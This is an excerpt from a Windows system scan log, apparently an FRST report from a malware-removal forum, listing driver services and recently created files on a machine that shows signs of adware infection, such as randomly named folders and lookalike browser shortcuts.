R0 amdkmpfd; C:\Windows\System32\DRIVERS\amdkmpfd.sys [62152 2014-10-28] (Advanced Micro Devices, Inc.)
R2 AODDriver4.3; C:\Program Files\AMD\ATI.ACE\Fuel\amd64\AODDriver2.sys [59616 2014-02-11] (Advanced Micro Devices)
S1 avgtp; C:\Windows\system32\drivers\avgtpx64.sys [45856 2013-05-20] () [File not signed]
S3 BRDriver64; C:\ProgramData\BitRaider\BRDriver64.sys [75048 2014-03-23] (BitRaider)
R1 cfidsk; C:\Windows\System32\drivers\cfidsk.sys [196520 2017-06-20] ()
S3 dtlitescsibus; C:\Windows\System32\DRIVERS\dtlitescsibus.sys [30264 2017-03-16] (Disc Soft Ltd)
S3 dtliteusbbus; C:\Windows\System32\DRIVERS\dtliteusbbus.sys [47672 2017-03-16] (Disc Soft Ltd)
S3 huawei_wwanecm; C:\Windows\System32\DRIVERS\ew_juwwanecm.sys [213504 2011-07-12] (Huawei Technologies Co., Ltd.)
S3 igfx; C:\Windows\System32\DRIVERS\igdkmd64.sys [6112672 2009-06-16] (Intel Corporation) [File not signed]
S3 irsir; C:\Windows\System32\DRIVERS\irsir.sys [27648 2008-01-19] (Microsoft Corporation)
R0 MBAMSwissArmy; C:\Windows\System32\drivers\MBAMSwissArmy.sys [251832 2017-07-03] (Malwarebytes)
S3 MBAMWebProtection; C:\Windows\system32\drivers\mwac.sys [82720 2017-05-23] (Malwarebytes) [File not signed]
R0 MpFilter; C:\Windows\System32\DRIVERS\MpFilter.sys [295000 2016-08-25] (Microsoft Corporation)
R1 MpKsl4f7c0b98; c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{94EDC583-B655-4337-B345-B7C89A7EC800}\MpKsl4f7c0b98.sys [44928 2017-07-03] (Microsoft Corporation)
S3 NisDrv; C:\Windows\System32\DRIVERS\NisDrvWFP.sys [135928 2016-08-25] (Microsoft Corporation)
S0 prohlp02; C:\Windows\SysWOW64\drivers\prohlp02.sys [111808 2004-05-13] (Protection Technology) [File not signed]
S0 prosync1; C:\Windows\SysWOW64\drivers\prosync1.sys [6944 2003-09-06] (Protection Technology) [File not signed]
R0 PxHlpa64; C:\Windows\System32\Drivers\PxHlpa64.sys [56336 2012-06-22] (Corel Corporation)
S0 sfhlp01; C:\Windows\SysWOW64\drivers\sfhlp01.sys [4832 2003-12-01] (Protection Technology) [File not signed]
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [394296 2017-03-16] (Duplex Secure Ltd.)
S3 StarOpen; C:\Windows\System32\Drivers\StarOpen.sys [5504 2009-11-12] () [File not signed]
S3 StarOpen; C:\Windows\SysWow64\Drivers\StarOpen.sys [7168 2009-11-12] () [File not signed]
S3 XSplit_Dummy; C:\Windows\System32\drivers\xspltspk.sys [26200 2014-07-02] (SplitmediaLabs Limited)
R3 YMIDUSBW; C:\Windows\System32\drivers\ymidusbx64.sys [51496 2013-04-04] (Yamaha Corporation)
S2 AODDriver4.01; \??\C:\Program Files\ATI Technologies\ATI.ACE\Fuel\amd64\AODDriver2.sys [X]
S3 ATICDSDr; \??\C:\Windows\TEMP\ATICDSDr.sys [X]
S3 cpuz132; \??\C:\Users\Uzivatel\AppData\Local\Temp\cpuz132\cpuz132_x64.sys [X]
S1 eddcraht; \??\C:\Windows\system32\drivers\eddcraht.sys [X]
S3 gdrv; \??\C:\Windows\gdrv.sys [X]
U2 glory;
S3 LVPr2M64; system32\DRIVERS\LVPr2M64.sys [X]
S3 LVRS64; system32\DRIVERS\lvrs64.sys [X]
S3 LVUVC64; system32\DRIVERS\lvuvc64.sys [X]
S1 lwedyski; \??\C:\Windows\system32\drivers\lwedyski.sys [X]
S1 mewhqimk; \??\C:\Windows\system32\drivers\mewhqimk.sys [X]
S1 prodrv06; \SystemRoot\System32\drivers\prodrv06.sys [X]
S1 qvpajadl; \??\C:\Windows\system32\drivers\qvpajadl.sys [X]
U2 snare;
S3 WinRing0_1_2_0; \??\C:\Program Files (x86)\Razer\Razer Game Booster\Driver\WinRing0x64.sys [X]
==================== NetSvcs (Whitelisted) ===================
(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)
==================== One Month Created Files and Folders ========
(If an entry is included in the fixlist, the file\folder will be moved.)
2017-07-03 21:30 - 2017-07-03 21:31 - 00000003 ____H () C:\ProgramData\cm-lock
2017-07-03 10:05 - 2017-07-03 10:05 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047 (2).exe
2017-07-02 12:36 - 2017-07-02 12:36 - 01130328 _____ (Google Inc.) C:\Users\Uzivatel\Downloads\ChromeSetup (1).exe
2017-07-02 12:34 - 2017-07-02 12:34 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047(1).exe
2017-07-02 12:24 - 2017-07-02 12:24 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047 (1).exe
2017-07-02 12:20 - 2017-07-02 12:20 - 04110280 _____ () C:\Users\Uzivatel\Desktop\adwcleaner_6.047.exe
2017-07-01 21:58 - 2017-07-01 21:58 - 00003162 _____ () C:\Windows\System32\Tasks\{9A61D488-CAEF-4292-8C11-109B7A7214E7}
2017-07-01 21:57 - 2017-07-01 21:57 - 00003162 _____ () C:\Windows\System32\Tasks\{975EC48D-76CF-4AB5-89BE-0F81A3F1DAEC}
2017-07-01 21:56 - 2017-07-01 21:56 - 00003162 _____ () C:\Windows\System32\Tasks\{31BA5A72-3AC8-4833-A0DA-006CF4475CD1}
2017-06-30 16:33 - 2017-06-30 16:33 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047.exe
2017-06-30 14:52 - 2017-07-01 23:02 - 00001042 _____ () C:\Users\DefaultAppPool\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-06-29 19:09 - 2017-07-03 10:50 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\ooq45k0gz3k
2017-06-29 19:09 - 2017-06-29 19:09 - 00000000 ____D () C:\Program Files\I59ZA8EZ7K
2017-06-29 18:37 - 2017-06-29 18:37 - 00013729 ____R () C:\Windows\system32\Drivers\etc\hosts.20170629-183755.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00013394 ____R () C:\Windows\system32\Drivers\etc\hosts.20170629-183756.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00009656 ____R () C:\Windows\system32\Drivers\etc\hosts.20170629-183757.backup
2017-06-29 16:32 - 2017-06-29 16:33 - 00000000 ____D () C:\ProgramData\AppmallosayoVs
2017-06-29 16:30 - 2017-07-01 10:54 - 00000000 ____D () C:\ProgramData\AppmallosayoV
2017-06-29 16:20 - 2017-07-03 10:50 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\1fqb43r0ntz
2017-06-29 16:20 - 2017-06-29 16:20 - 00000000 ____D () C:\Program Files\G05HC4PZV0
2017-06-29 16:19 - 2017-06-29 16:19 - 00000270 __RSH () C:\Users\Uzivatel\ntuser.pol
2017-06-29 16:12 - 2017-06-29 18:43 - 00003164 _____ () C:\Windows\System32\Tasks\34a6735dd8363e8db5cc880809001e84
2017-06-29 16:10 - 2017-07-03 21:41 - 00016682 _____ () C:\Windows\System32\Tasks\eStark
2017-06-29 16:09 - 2017-06-29 17:38 - 00000000 ____D () C:\Program Files (x86)\UCBrowser
2017-06-29 16:08 - 2017-07-03 10:49 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\slt0o43qupq
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D () C:\Program Files\SWG63XXW0V
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D () C:\Program Files\FNJLTCS41J
2017-06-29 16:07 - 2017-07-03 10:48 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\tqvg0555bo0
2017-06-29 16:07 - 2017-07-01 22:16 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\xgmrsj1ys5i
2017-06-29 16:07 - 2017-06-30 15:19 - 00000000 ____D () C:\Program Files (x86)\u1f3jffxnwl
2017-06-29 16:07 - 2017-06-29 16:24 - 00000270 __RSH () C:\ProgramData\ntuser.pol
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\iqglfixjuar
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D () C:\Program Files\4SYXRXP5F6
2017-06-29 16:06 - 2017-06-29 16:06 - 01625824 _____ (The OpenSSL Project, http://www.openssl.org/) C:\Windows\libeay32.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 01559319 _____ (Microsoft Corporation) C:\Windows\csrss.exe
2017-06-29 16:06 - 2017-06-29 16:06 - 00608117 _____ () C:\Windows\libcurl-4.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 00054784 _____ (MingW-W64 Project. All rights reserved.) C:\Windows\libwinpthread-1.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 00002166 ___RS () C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Intеrnet Ехрlorer.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002111 ___RS () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Gооgle Chrоmе.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002009 ___RS () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001921 ___RS () C:\Users\Public\Desktop\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001916 ___RS () C:\Users\Public\Desktop\Gооglе Chrоme.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D () C:\Windows\Azart
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D () C:\Program Files\0KIQQIA15D
2017-06-29 16:05 - 2017-06-29 16:05 - 00001118 _____ () C:\Users\Uzivatel\Desktop\Играть в Dragon Knight.lnk
2017-06-28 14:38 - 2017-06-28 14:38 - 00051629 _____ () C:\Windows\uninstaller.dat
2017-06-24 14:30 - 2017-06-24 14:43 - 00000000 ____D () C:\Users\Uzivatel\Documents\Argo
2017-06-20 08:42 - 2017-06-20 08:42 - 00196520 _____ () C:\Windows\system32\Drivers\cfidsk.sys
2017-06-16 16:56 - 2017-06-02 10:28 - 02317824 _____ (Microsoft Corporation) C:\Windows\system32\tquery.dll
2017-06-16 16:56 - 2017-06-02 10:28 - 02222080 _____ (Microsoft Corporation) C:\Windows\system32\mssrch.dll
2017-06-16 16:56 - 2017-06-02 10:10 - 00733696 _____ (Microsoft Corporation) C:\Windows\HelpPane.exe
2017-06-16 16:56 - 2017-06-02 10:09 - 01549824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tquery.dll
2017-06-16 16:56 - 2017-06-02 10:09 - 01400320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssrch.dll
2017-06-16 16:56 - 2017-05-14 22:19 - 25738752 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
2017-06-16 16:56 - 2017-05-14 21:55 - 05975040 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll
2017-06-16 16:56 - 2017-05-14 21:11 - 20274688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
2017-06-16 16:56 - 2017-05-14 20:54 - 15252992 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
2017-06-16 16:56 - 2017-05-14 20:52 - 03240960 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll
2017-06-16 16:56 - 2017-05-14 20:44 - 04549120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll
2017-06-16 16:56 - 2017-05-14 20:30 - 13664768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
2017-06-16 16:56 - 2017-05-14 20:15 - 02767872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll
2017-06-16 16:56 - 2017-05-12 20:26 - 05547752 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe
2017-06-16 16:56 - 2017-05-12 20:22 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\usp10.dll
2017-06-16 16:56 - 2017-05-12 20:07 - 04001000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntkrnlpa.exe
2017-06-16 16:56 - 2017-05-12 20:07 - 03945704 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntoskrnl.exe
2017-06-16 16:56 - 2017-05-12 19:52 - 03222528 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
2017-06-16 16:56 - 2017-05-10 17:29 - 14183936 _____ (Microsoft Corporation) C:\Windows\system32\shell32.dll
2017-06-16 16:56 - 2017-05-10 17:14 - 02651136 _____ (Microsoft Corporation) C:\Windows\system32\wuaueng.dll
2017-06-16 16:56 - 2017-05-10 17:12 - 12880896 _____ (Microsoft Corporation) C:\Windows\SysWOW64\shell32.dll
2017-06-16 16:56 - 2017-05-09 17:30 - 00757248 _____ (Microsoft Corporation) C:\Windows\system32\win32spl.dll
2017-06-16 16:56 - 2017-04-28 00:50 - 03550208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_47.dll
2017-06-16 16:56 - 2017-04-12 15:05 - 04296704 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_47.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00778240 _____ (Microsoft Corporation) C:\Windows\system32\mssvp.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00491520 _____ (Microsoft Corporation) C:\Windows\system32\mssph.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00288256 _____ (Microsoft Corporation) C:\Windows\system32\mssphtb.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00115200 _____ (Microsoft Corporation) C:\Windows\system32\mssitlb.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00099840 _____ (Microsoft Corporation) C:\Windows\system32\mssprxy.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00075264 _____ (Microsoft Corporation) C:\Windows\system32\msscntrs.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00014336 _____ (Microsoft Corporation) C:\Windows\system32\msshooks.dll
2017-06-16 16:55 - 2017-06-02 10:11 - 00591872 _____ (Microsoft Corporation) C:\Windows\system32\SearchIndexer.exe
2017-06-16 16:55 - 2017-06-02 10:11 - 00249856 _____ (Microsoft Corporation) C:\Windows\system32\SearchProtocolHost.exe
2017-06-16 16:55 - 2017-06-02 10:10 - 00113664 _____ (Microsoft Corporation) C:\Windows\system32\SearchFilterHost.exe
2017-06-16 16:55 - 2017-06-02 10:09 - 00666624 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssvp.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00337408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssph.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00197120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssphtb.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00104448 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssitlb.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00059392 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msscntrs.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00034816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssprxy.dll
2017-06-16 16:55 - 2017-06-02 09:58 - 00427520 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchIndexer.exe
2017-06-16 16:55 - 2017-06-02 09:58 - 00164352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchProtocolHost.exe
2017-06-16 16:55 - 2017-06-02 09:57 - 00086528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchFilterHost.exe
2017-06-16 16:55 - 2017-06-02 09:57 - 00009728 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msshooks.dll
2017-06-16 16:55 - 2017-05-21 06:28 - 00154856 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecpkg.sys
2017-06-16 16:55 - 2017-05-21 06:28 - 00095464 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecdd.sys
2017-06-16 16:55 - 2017-05-21 06:24 - 01460736 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 01212928 _____ (Microsoft Corporation) C:\Windows\system32\rpcrt4.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00730624 _____ (Microsoft Corporation) C:\Windows\system32\kerberos.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00690688 _____ (Microsoft Corporation) C:\Windows\system32\adtschema.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00463872 _____ (Microsoft Corporation) C:\Windows\system32\certcli.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00345600 _____ (Microsoft Corporation) C:\Windows\system32\schannel.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00316928 _____ (Microsoft Corporation) C:\Windows\system32\msv1_0.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00312320 _____ (Microsoft Corporation) C:\Windows\system32\ncrypt.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00210432 _____ (Microsoft Corporation) C:\Windows\system32\wdigest.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00190464 _____ (Microsoft Corporation) C:\Windows\system32\rpchttp.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00146432 _____ (Microsoft Corporation) C:\Windows\system32\msaudite.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00135680 _____ (Microsoft Corporation) C:\Windows\system32\sspicli.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00123904 _____ (Microsoft Corporation) C:\Windows\system32\bcrypt.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00086528 _____ (Microsoft Corporation) C:\Windows\system32\TSpkg.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00060416 _____ (Microsoft Corporation) C:\Windows\system32\msobjs.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00043520 _____ (Microsoft Corporation) C:\Windows\system32\cryptbase.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00028672 _____ (Microsoft Corporation) C:\Windows\system32\sspisrv.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00028160 _____ (Microsoft Corporation) C:\Windows\system32\secur32.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00022016 _____ (Microsoft Corporation) C:\Windows\system32\credssp.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00690688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\adtschema.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00666112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rpcrt4.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00553472 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kerberos.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00342528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\certcli.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00261120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msv1_0.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00254464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\schannel.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00223232 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ncrypt.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00172032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wdigest.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00146432 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msaudite.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00141312 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rpchttp.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00096768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\sspicli.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00082944 _____ (Microsoft Corporation) C:\Windows\SysWOW64\bcrypt.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00065536 _____ (Microsoft Corporation) C:\Windows\SysWOW64\TSpkg.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msobjs.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00022016 _____ (Microsoft Corporation) C:\Windows\SysWOW64\secur32.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00017408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\credssp.dll
2017-06-16 16:55 - 2017-05-21 05:55 - 00064000 _____ (Microsoft Corporation) C:\Windows\system32\auditpol.exe
2017-06-16 16:55 - 2017-05-21 05:48 - 00291328 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb10.sys
2017-06-16 16:55 - 2017-05-21 05:48 - 00159744 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb.sys
2017-06-16 16:55 - 2017-05-21 05:48 - 00129536 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb20.sys
2017-06-16 16:55 - 2017-05-21 05:47 - 00030720 _____ (Microsoft Corporation) C:\Windows\system32\lsass.exe
2017-06-16 16:55 - 2017-05-21 05:46 - 00050176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\auditpol.exe
2017-06-16 16:55 - 2017-05-21 05:42 - 00036352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\cryptbase.dll
2017-06-16 16:55 - 2017-05-16 20:19 - 00394448 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll
2017-06-16 16:55 - 2017-05-16 19:35 - 00346320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll
2017-06-16 16:55 - 2017-05-14 22:46 - 02724864 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.tlb
2017-06-16 16:55 - 2017-05-14 22:46 - 00004096 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollectorres.dll
2017-06-16 16:55 - 2017-05-14 22:28 - 00066560 _____ (Microsoft Corporation) C:\Windows\system32\iesetup.dll
2017-06-16 16:55 - 2017-05-14 22:27 - 00417792 _____ (Microsoft Corporation) C:\Windows\system32\html.iec
2017-06-16 16:55 - 2017-05-14 22:27 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll
2017-06-16 16:55 - 2017-05-14 22:27 - 00048640 _____ (Microsoft Corporation) C:\Windows\system32\ieetwproxystub.dll
2017-06-16 16:55 - 2017-05-14 22:26 - 00576512 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
2017-06-16 16:55 - 2017-05-14 22:24 - 02899456 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll
2017-06-16 16:55 - 2017-05-14 22:17 - 00054784 _____ (Microsoft Corporation) C:\Windows\system32\jsproxy.dll
2017-06-16 16:55 - 2017-05-14 22:16 - 00034304 _____ (Microsoft Corporation) C:\Windows\system32\iernonce.dll
2017-06-16 16:55 - 2017-05-14 22:12 - 00615936 _____ (Microsoft Corporation) C:\Windows\system32\ieui.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\jscript.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00814080 _____ (Microsoft Corporation) C:\Windows\system32\jscript9diag.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00144384 _____ (Microsoft Corporation) C:\Windows\system32\ieUnatt.exe
2017-06-16 16:55 - 2017-05-14 22:10 - 00116224 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe
2017-06-16 16:55 - 2017-05-14 22:01 - 00968704 _____ (Microsoft Corporation) C:\Windows\system32\MsSpellCheckingFacility.exe
2017-06-16 16:55 - 2017-05-14 21:57 - 00489984 _____ (Microsoft Corporation) C:\Windows\system32\dxtmsft.dll
2017-06-16 16:55 - 2017-05-14 21:48 - 00077824 _____ (Microsoft Corporation) C:\Windows\system32\JavaScriptCollectionAgent.dll
2017-06-16 16:55 - 2017-05-14 21:47 - 00087552 _____ (Microsoft Corporation) C:\Windows\system32\tdc.ocx
2017-06-16 16:55 - 2017-05-14 21:46 - 00107520 _____ (Microsoft Corporation) C:\Windows\system32\inseng.dll
2017-06-16 16:55 - 2017-05-14 21:42 - 00199680 _____ (Microsoft Corporation) C:\Windows\system32\msrating.dll
2017-06-16 16:55 - 2017-05-14 21:41 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll
2017-06-16 16:55 - 2017-05-14 21:38 - 00315392 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll
2017-06-16 16:55 - 2017-05-14 21:37 - 02724864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.tlb
2017-06-16 16:55 - 2017-05-14 21:36 - 00152064 _____ (Microsoft Corporation) C:\Windows\system32\occache.dll
2017-06-16 16:55 - 2017-05-14 21:23 - 00262144 _____ (Microsoft Corporation) C:\Windows\system32\webcheck.dll
2017-06-16 16:55 - 2017-05-14 21:23 - 00062464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iesetup.dll
2017-06-16 16:55 - 2017-05-14 21:22 - 00499200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
2017-06-16 16:55 - 2017-05-14 21:22 - 00341504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\html.iec
2017-06-16 16:55 - 2017-05-14 21:22 - 00047616 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieetwproxystub.dll
2017-06-16 16:55 - 2017-05-14 21:21 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll
2017-06-16 16:55 - 2017-05-14 21:20 - 00725504 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe
2017-06-16 16:55 - 2017-05-14 21:19 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll
2017-06-16 16:55 - 2017-05-14 21:18 - 01359360 _____ (Microsoft Corporation) C:\Windows\system32\mshtmlmedia.dll
2017-06-16 16:55 - 2017-05-14 21:17 - 02132992 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl
2017-06-16 16:55 - 2017-05-14 21:16 - 02290176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll
2017-06-16 16:55 - 2017-05-14 21:15 - 00047104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jsproxy.dll
2017-06-16 16:55 - 2017-05-14 21:14 - 00030720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iernonce.dll
2017-06-16 16:55 - 2017-05-14 21:12 - 00476160 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieui.dll
2017-06-16 16:55 - 2017-05-14 21:11 - 00115712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieUnatt.exe
2017-06-16 16:55 - 2017-05-14 21:10 - 00663552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript.dll
2017-06-16 16:55 - 2017-05-14 21:10 - 00620032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9diag.dll
2017-06-16 16:55 - 2017-05-14 21:02 - 00416256 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtmsft.dll
2017-06-16 16:55 - 2017-05-14 20:57 - 00073216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tdc.ocx
2017-06-16 16:55 - 2017-05-14 20:57 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\JavaScriptCollectionAgent.dll
2017-06-16 16:55 - 2017-05-14 20:56 - 00091136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inseng.dll
2017-06-16 16:55 - 2017-05-14 20:53 - 00168960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msrating.dll
2017-06-16 16:55 - 2017-05-14 20:52 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll
2017-06-16 16:55 - 2017-05-14 20:50 - 00279040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll
2017-06-16 16:55 - 2017-05-14 20:49 - 00130048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\occache.dll
2017-06-16 16:55 - 2017-05-14 20:42 - 00230400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\webcheck.dll
2017-06-16 16:55 - 2017-05-14 20:40 - 00693248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll
2017-06-16 16:55 - 2017-05-14 20:39 - 02057216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl
2017-06-16 16:55 - 2017-05-14 20:38 - 01155072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmlmedia.dll
2017-06-16 16:55 - 2017-05-14 20:37 - 01544704 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll
2017-06-16 16:55 - 2017-05-14 20:27 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll
2017-06-16 16:55 - 2017-05-14 20:11 - 01314816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll
2017-06-16 16:55 - 2017-05-14 20:11 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll
2017-06-16 16:55 - 2017-05-12 20:27 - 00631176 _____ (Microsoft Corporation) C:\Windows\system32\winresume.efi
2017-06-16 16:55 - 2017-05-12 20:26 - 00706792 _____ (Microsoft Corporation) C:\Windows\system32\winload.efi
2017-06-16 16:55 - 2017-05-12 20:26 - 00382696 _____ (Adobe Systems Incorporated) C:\Windows\system32\atmfd.dll
